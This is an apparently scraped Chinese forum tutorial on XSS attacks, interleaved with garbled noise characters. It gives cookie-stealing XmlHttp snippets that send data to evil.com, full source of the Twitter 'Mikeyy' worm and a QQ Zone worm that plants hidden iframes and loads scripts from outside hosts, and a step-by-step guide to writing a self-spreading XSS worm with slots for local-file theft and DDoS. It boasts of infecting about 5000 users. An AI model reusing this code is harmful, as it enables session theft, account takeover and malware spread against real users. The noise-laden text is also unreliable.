. P3 L, ~2 Z9 x6 e9 j( hSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
# r( P1 h9 N- e% \
acl TRACE method TRACE

  A+ r1 ]; v' g8 N7 A$ V...
: ]$ F& _2 Z. X6 l1 T0 t# @' s( ^3 m
http_access deny TRACE
; y) Q0 Q0 _4 a+ }$ c复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

6 e0 y" b. a+ h$ _8 z* r( Q9 Mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 c* y! ~- A4 P4 X7 Z9 b" }
XmlHttp.open("GET","http://www.google.com",false);

7 a1 i- {7 a3 j) m0 J: m$ ~0 p( gXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
8 r: L2 A( K% G4 a
- T6 j" H, Z2 I1 g4 CXmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
+ V# R6 i  B/ T+ s. {1 O* k
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");



* n4 x3 x  ?6 Y4 p+ g* X. J2 SXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
" q8 M9 Q. v( {. M4 @
  f1 M+ }" ~( L. Z2 u' I- Z! JXmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
1 I1 ^5 R+ C. Q+ M1 Q4 C1 U1 W' k, ?% |第一版:
% t4 S2 a; h7 E5 j. v: c, Q  d. H7 o  下载 (5.1 KB)
+ |  A4 e# H( v! }* m! n
9 K" e% ?$ [' j# e& A. w6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

9 B( n0 F1 w  K. W! u   2.   
2 {4 x0 h  @( V6 {4 R' O1 I
$ b" c7 f, E5 v   3. function XHConn(){  

, ^# v2 F& ]4 V$ o   4.   var _0x6687x2,_0x6687x3=false;  
6 Z: D- \& d' i( r: e7 C- ^* O
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

6 u1 ~- S  _! H4 o7 N+ m   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
) V  b) G' l! w3 r: D( T$ ~
   8.   catch(e) { _0x6687x2=false; }; }; };  
( N6 Q/ C: I" ~* i- b% v$ m, h复制代码第六版:   1. function wait() {  
/ P# H. F. k- D8 A6 i
   2.   var content = document.documentElement.innerHTML;  

+ y" L3 x! ]: X# t   3.   var tmp_cookie=document.cookie;  
% G  u6 i" b. e9 Z& y7 _  h  E
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
/ l9 p3 a$ P9 P# v1 @
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

  Q7 u9 X1 x+ h& \0 C2 D- r# T   6.   var authtoken=authreg.exec(content);  
% z. A' s, z  P4 ~
   7.   var authtoken=authtoken[1];  
2 w3 h9 H) @8 o6 x$ U' o) c
   8.   var randomUpdate= new Array();  

7 m) i. l3 G' W, S$ t   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

: I. }3 c$ R1 l7 R  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

' H/ R1 ^& t( y/ A  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

0 J( g; r2 z- F9 }  c; n  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
- r6 c$ v8 U& t
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

# ~3 ]8 G- k# _" L( v, b  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
. G  l+ [4 g. _* ]! e: l
9 G# H$ K  Y! u8 j9 d  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
" ^0 {7 k: a: ~4 A) u0 t3 U
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

, ^  t! R; v! M, C, ^8 y; n- f  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

2 a/ ?1 d" n+ x  [  A! u  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

) D& v  N7 A$ S! Z0 e  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
5 \' x" z; j/ v$ R7 G3 J
/ Y+ j* M! G* u6 U  24.     

' w4 z, ^: Z; a- j2 {: h  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
% L/ V4 e% W( z. O
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

" z" a4 b5 u+ J: f; s1 `  27.     
7 v5 r% _" t) r& K  {
  28.   var ajaxConn= new XHConn();  
3 k0 c4 ~; V" W" r% N
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
3 ~) x$ j( @. k/ a) o" ?& G
  30.   var _0xf81bx1c="Mikeyy";  

% E6 y' h$ g( D  31.   var updateEncode=urlencode(_0xf81bx1c);  

+ g/ Y4 K/ V; Z. D6 z- Z& ?  32.   var ajaxConn1= new XHConn();  
! K( @( F% ~' f' q
6 x* Z: X* }% x/ R; k  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

$ F" O- s8 W; x, P& k3 U$ d6 E! h  35.   var XSS=urlencode(genXSS);  

$ p4 H6 a* O' j  36.   var ajaxConn2= new XHConn();  
9 L) e5 F) {; @* t2 e
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
: t2 h4 J4 }2 X2 V9 a7 M* U0 V6 H) b
6 U5 L; J, X, e' o8 z. i  38.     
: i& G$ q3 e+ D
  39. } ;  

) ?! v9 q# d2 m/ L! k  @  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
% W4 Q) {' Z3 ~% Z  a
9 Y" d2 d" G; B. Q- |4 d  `& r0 Z, Fwindow.onerror=killErrors;

* U1 k$ n9 B- r4 A" `

) f( c+ M% u( P3 x* {( lvar shendu;shendu=4;

//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

8 c4 r. ~( R( d, l9 t: Y# avar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

3 M. ~. l# _1 ^$ J2 O- vvar myblogurl=new Array();var myblogid=new Array();
& m, K1 m' _! |( M( z  ]% w; V9 ^
        var gurl=document.location.href;
8 f/ j  h9 g, Q: q
( V# q# `; M, R0 _* `- l        var gurle=gurl.indexOf("com/");
' C4 ]( B4 ]6 @* c0 g5 a
        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
4 q8 _1 f8 m2 X0 i) ?
        visitorID=visitorID.substring(cookieS+14);
* J+ k4 P; D$ E2 m+ `
        cookieS=visitorID.indexOf(",");
$ b5 |# q# E( S' |3 }' L
        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

9 V: \, Z% S6 L' }$ D5 J' K        DOshuamy();
' T" G# m3 e1 ~' v0 F* f5 Q
! B7 Y5 q1 [1 P2 T& `+ D

//挂马
5 a6 h3 y/ _1 w
function DOshuamy(){

var ssr=document.getElementById("veryTitle");
. }' G4 G; S% @% E& r! f! b9 }
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
! ?5 ]% ?6 L9 p+ p# Q

! w6 a' ?7 D* G! Z
% q' f7 c: M3 G" [8 X; ]' }//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
+ j  T/ F$ y1 q+ o: H
/ y5 K" D5 V3 i" Cfunction get_my_blog(visitorID){
, E4 M, R* g4 u' @7 ]: y
  \  a% b# K/ _9 u% M   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
% J# B/ @. f4 I" Y( Q
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
$ t/ `6 u" _6 B6 ], ^4 P8 R
1 I& O- v& M) r" f   if(xhr){    //成功就执行下面的

3 G) x+ E( }  {$ j, H/ c. m     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

* j6 E0 p% `# S9 E/ [% J! P5 o     xhr.send();guest=xhr.responseText;

) s' u# e% Y$ \) M     get_my_blogurl(guest);    //执行这个函数
4 @. D0 ~  j5 u6 w( `
    }

}
" Z" i& w2 L2 g2 t' T1 r
+ t" B' S% ]. y% ?( B" I. m

//这里似乎是判断没有登录的

function get_my_blogurl(guest){
5 A( h! Y5 F- A+ e' P+ \
2 J5 |1 \; S1 Z3 G, m5 j  g$ j1 {  var mybloglist=guest;
1 n' W% v' `1 U  f. H
  var myurls;var blogids;var blogide;
* b4 Y0 y1 X0 F* v2 B8 j
5 N" {' {+ @+ u9 y: o  for(i=0;i<shendu;i++){
/ U+ Z2 L- v! s7 S1 k1 R
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
1 e7 t, @6 v1 ?2 Z1 y$ `
; L, a5 l* w) b2 X5 d     if(myurls!=-1){    //找到了就执行下面的

4 [' d8 Y; i# w         mybloglist=mybloglist.substring(myurls+11);

& G% h: S4 I8 e         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
5 R9 Y; l  p6 U* \% M/ R4 z
        }else{break;}
$ g# s9 y1 y( T; J
7 j, _8 x) N$ ~& S& A% ?& k) ^}

get_my_testself();    //执行这个函数
% k3 n# p$ ?3 g
0 h4 `" V3 k! J! K! s}



! w9 x2 f! U$ \" Y//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
' B9 I8 i' T7 X3 c
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

9 z5 U, I: _! Z3 F2 I8 `1 {      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
. U6 ?& `6 _. }. c
  X' E' ~  m: p, q* g      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

5 B* P% @4 ~0 `! T/ {* w              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
3 @5 E1 A# p4 R! Q5 Y) `3 k: y
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
2 r% i$ B' g7 M5 T% q; u# H- K6 C
                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
5 R3 a& y" o- v' @/ K4 ?
2 S7 u6 ?% [- d4 N* r  ]3 ^                break;
% Y$ i4 B0 q5 u6 |2 A7 N/ V  C
6 X! B. {3 p' L# ~5 r' d6 b               }
6 m& z7 A" `  j' Y$ b5 z2 A. K
              if(mycheckit=="-1"){

3 T0 Z6 g8 q" y% j5 K$ C                targetblogurlid=myblogid;
% o  i3 ?( I1 G7 T  o( j3 ?* [
" k6 {# b; }% m: z! @                add_js(visitorID,targetblogurlid,gurl);    //执行它
! W; o5 D; t, \) Q9 X; N( R1 z
  A/ X2 @8 \' R. [, F* s                break;

) P$ L3 Y4 C+ o& G9 v  H- o; s               }

        }      
, M9 V' d+ Q1 [, ?% ~9 w3 D
0 F4 D: o; M- X}
" j  C8 y# J1 H2 A/ n. Z2 G
}

, f2 G7 V7 x9 H2 e0 g: F, \2 ^

) C) w2 \9 t! H) L4 r7 B6 w//--------------------------------------  
! v. U" H( L8 y( J5 x$ Q! M$ r* Y
//根据浏览器创建一个XMLHttpRequest对象

1 O6 n% I; N6 M  m6 W+ {function createXMLHttpRequest(){

0 h; u) ~3 `: s) r6 v% C    var XMLhttpObject=null;  
& M( m' u/ Y" U7 Y! @2 r# x
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

- h9 I5 |1 p% D5 S" U    else  
3 \5 {6 p' l' T0 W! C
1 I/ I2 Q' o2 G( M' D5 E+ Q      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
& f) d3 `; d% {. S7 C/ D) m
        for(var i=0;i<MSXML.length;i++)  
' i: \8 V, K+ a% {4 k" ^( H$ B1 g
        {  

  R  \% }! K3 `  J0 q- X- b            try  

            {  
9 u4 t/ q, D. p" Y! |/ T
                XMLhttpObject=new ActiveXObject(MSXML);  
: [- v5 `% c/ a9 a8 \
                break;  

            }  

            catch (ex) {  
& `; K0 D5 V; Q& I) q" w/ @# U  t
( H& W$ p' K: l- X( O* F            }  
& _8 v7 k% |0 ]! `% b5 _
         }  
3 k/ g4 U7 y, U
. _' W: U. _6 W5 @      }

5 c) o+ b0 g" [: y* y: x, I1 q  Vreturn XMLhttpObject;

}  

! I& v/ ^6 T' u( ^& u# [: k

( n  d8 K0 Y, _  p//这里就是感染部分了
' q/ c+ {- V4 H' X5 ^( F/ J3 A( V
0 c0 |4 g. {% Q# G/ Mfunction add_js(visitorID,targetblogurlid,gurl){
  H+ s& L9 P' ]! D( k
var s2=document.createElement('script');

5 g4 B, d) |( H7 V' u: ns2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
/ x6 x2 y4 u( E! W6 O
5 Q; ?* I) ]3 G$ l8 C4 as2.type='text/javascript';
6 Z- y" d6 V6 u* n
* x! G3 X3 D7 V. ^9 ^document.getElementsByTagName('head').item(0).appendChild(s2);

}


6 b0 W1 ^/ {% M1 e
; W; R! U4 I) s! y) V, R/ Afunction add_jsdel(visitorID,targetblogurlid,gurl){

$ g9 J* p' Q/ E: Gvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
; M, F. q& m8 U3 j
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
% E( H0 i# ~0 j
8 Y6 R  t+ L; S: _}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
4 P. ~. p9 T* ?' ]1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

  K& f" z9 o/ A
2 \2 H4 L$ |! r8 P3 _: A! S下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

1 G* L9 v; ?) g! [首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

2 j8 P( J  d/ w4 Mrequest = new XMLHttpRequest();

if(request.overrideMimeType) {
/ U  a0 l: D) z+ ^- K& S0 G
request.overrideMimeType('text/xml');
( |* G8 O8 f2 a3 o! ?7 M
}
  t8 w8 V1 ~- z& p* Y! Y! e
0 z* D; z) U5 m; P} else if(window.ActiveXObject) {
/ N! a) ^! E0 Z# W
! A6 e0 _! }0 E: W3 a$ yvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

" Z$ W; d2 [' u  }for(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);
7 w7 `% T; y! I$ S
} catch(e) {}

- J/ c, l+ ]1 h0 q2 ^# e}
/ ]7 l& [3 H+ h; p1 ]& U4 V* r
}
3 b% V. z$ }5 X- X+ v
+ ]: S6 ]6 V1 }) G- X$ `) |1 MxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
- f* c4 b4 S0 R% t% w) l" j3 E
* q3 V: v3 B3 c; R; z6 n1 Y        var Browser_Agent=navigator.userAgent;
$ g$ w2 F  Q: _: r
* X- K" x2 D) x        

3 D  l" ^9 ~0 I$ e        var Actual_Version,Actual_Name;

        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
1 w% |: I9 [+ p6 o
        var is_NN=(Browser_Name=="Netscape");
  O, j' B4 }+ ]8 z7 `' b; h
        var is_Ch=(Browser_Name=="Chrome");

        
9 s( K# i1 O* s' |+ u% B* d/ ?
        if(is_NN){
1 F2 C( b) `3 E
            if(Browser_Version>=5.0){
! z7 I, l2 L/ G: i0 m  B+ j
' x3 ?9 R6 E1 V+ E                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

$ H4 [) W% \$ @* g# H4 j& @* W                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
/ r! x2 A  _7 b2 i5 E


                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
" b) \, C6 X' \  y/ E+ k
            else{

                Actual_Version=Browser_Version;
8 X% B7 Q! n! I1 G9 z4 f+ ^/ w5 K
1 ?; N$ m5 F( e, w- v0 F, Q* A, _                Actual_Name=Browser_Name;

5 I' L8 }3 P$ t            }

        }

        else if(is_IE){
8 m7 W; Y! m) l2 X% ~7 n
            var Version_Start=Browser_Agent.indexOf("MSIE");
9 a2 ~/ I" E0 ]& M; F4 h; q
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
8 c' ]$ c/ |- _; W/ i2 o* \- h
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
6 L: ^( A! t. k, w. v& ?0 t% d
' N4 m( i- V4 D8 E; U, Q* ^            Actual_Name=Browser_Name;
: c( w) z9 j4 n" N5 j0 Z  ]6 o  _
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

8 \" y: p- o& _7 t2 b$ i! F3 L% \                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
* G& g: R( g- w
                var tempstart=Browser_Agent.indexOf("Opera");
, h# ]8 R4 M; G
                var tempend=Browser_Agent.length;
' J7 N' C0 R) X" _: K
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

+ M; ~# M4 l0 h6 W$ T- R            }
5 A# k2 p) v3 v6 e9 P0 O
        }

        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
5 J( A0 X$ n. ~9 }0 W# g8 |
% g% q, n0 U2 \6 H            var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ c6 f' t% J5 K( w1 w
+ i0 m/ T. V- E" Y& {            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
# H9 H/ L: V6 E- i
+ u1 {1 L$ y! w            Actual_Name=Browser_Name;

1 D' i# l7 V: \7 t9 |            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
  T7 g' }. A0 N( s) F$ k
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
& a3 y: E0 e* A1 o% r8 l/ ]) |
                Actual_Name="Opera";

6 s* Q7 m" h$ ~/ G9 A8 M1 N$ l# M                var tempstart=Browser_Agent.indexOf("Opera");
. L( L- `. Z  ~' @. x3 A5 Y
                var tempend=Browser_Agent.length;

+ p. u8 h, {4 Q& Q                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }

        else{
8 l/ c& F% d4 h
3 B- F* t8 c& k, O            Actual_Name="Unknown Navigator"

2 b. C8 o2 y0 y5 |9 h) N3 h            Actual_Version="Unknown Version"

" p$ o" I! O; z; Y3 [4 v        }

8 n2 w0 Q! e+ t: [. W

  T( s* |5 ~* }# R  [1 `- n0 Y        navigator.Actual_Name=Actual_Name;
: L* }- T+ u  R) y: `: K7 \% c
! I' e' A- m: O* `8 o/ o3 q# r        navigator.Actual_Version=Actual_Version;

1 S: `* c2 D. \9 U0 R) N        
6 N  g& u7 i  X' [( _2 L! b
8 P8 i7 L# s& v' E        this.Name=Actual_Name;

        this.Version=Actual_Version;
/ O/ L' k9 K! ~  }7 W# _
    }

; r$ d) Q3 @. ]) P+ @2 _    browserinfo();
; O# O. F/ {1 r- _
! K6 q9 h- R5 F    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

+ }6 s) |- D8 ?: L6 n    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
7 H! P/ G! C5 }- a! D- V$ h复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
. w% V: N& ?& L" Y" q
var resource = xmlHttpReq.responseText;

var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

9 ]7 e9 W3 n. U: W2 Vwhile ((result = patt.exec(resource)) != null)  {

id++;
6 {8 N5 W: U$ j/ z$ F
}
; J8 D# L5 e* B# q  d& v复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
' y+ `" \* c, X
var post="wd="+wd;

6 X; d5 _3 [6 [$ t* @3 I" ]9 v  gxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
# [9 d) C( W' k' @
* D7 t) `) R0 |5 g. Y1 l* pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
+ n$ ]( Y6 ^9 A+ D! |8 g  {
xmlHttpReq.setRequestHeader("content-length",post.length);

2 ^! W; y  d$ m& WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
3 t* P8 e/ _; e8 C. [
xmlHttpReq.send(post);

( w5 V; B# O% l}
- l( Q9 A. C  G1 u6 z复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

! K3 y+ a" g: K% Y+ s4 ?2 w/ D$ xvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
+ A  O" R% B2 V
# @$ R3 D  g6 U. f) Avar post="wd="+wd;

3 J  g* n& k$ D3 nxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
  f% P4 q/ e, o! d2 c; S/ @
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
& ]( Z7 C4 ?  |" U; Q
xmlHttpReq.setRequestHeader("content-length",post.length);

! m- Q2 ^6 |6 y" Z( VxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

( A2 y8 c6 v' kxmlHttpReq.send(post);                 //把传播的信息 POST出去.
1 ~- m  ~* k" w9 T3 |8 [
}
5 [4 G8 g1 v) t4 Y. X复制代码-----------------------------------------------------总结-------------------------------------------------------------------

0 v0 J2 k+ y9 w( e5 N9 }( Q: C: g
7 d$ w7 }" i# j4 A+ r% l
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
) J, ]0 p9 b9 c蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
, e5 L! s1 _# z8 l8 P操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
) Q+ o2 O+ n. S" S0 V$ \# @; T# K

- j7 W' I6 {/ A3 ~. y9 ^$ B/ F$ k7 K9 K





( e# T$ h+ I* ?( q# K- j本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
5 o5 S3 ?  a, J& a; O& dOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
3 K' Q* _! Z3 phttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
9 S7 ^( T, y  T7 X1 [: J空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
/ w( }" B! f+ K